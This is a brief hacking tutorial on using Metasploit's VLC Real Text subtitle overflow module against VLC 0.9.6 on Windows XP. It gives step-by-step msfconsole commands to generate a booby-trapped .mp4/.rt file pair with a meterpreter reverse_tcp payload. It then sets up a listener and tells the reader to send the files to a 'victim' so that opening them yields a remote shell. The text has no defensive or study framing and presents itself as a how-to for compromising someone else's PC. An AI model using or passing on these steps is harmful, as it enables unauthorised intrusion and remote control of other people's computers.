Hack Windows PC in Network using VLC Media Player Real Text Subtitle Overflow

This module exploits a stack buffer overflow vulnerability in Video LAN VLC < 0.9.6. The vulnerability exists in the parsing of Real Text subtitle files. In order to exploit this, this module will generate two files: The .mp4 file is used to trick your victim into running. The .rt file is the actual malicious file that triggers the vulnerability, which should be placed under the same directory as the .mp4 file.

Exploit Targets

VLC Media Player 0.9.6

Windows XP SP 2


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/vlc_realtext

Msf exploit (vlc_realtext)>set payload windows/meterpreter/reverse_tcp

Msf exploit (vlc_realtext)>set lhost (IP of Local Host)

Msf exploit (vlc_realtext)>exploit

After we successfully generate the malicious MP4 File, it will stored on your local computer



Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your msf.mp4 and msf.rt both files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

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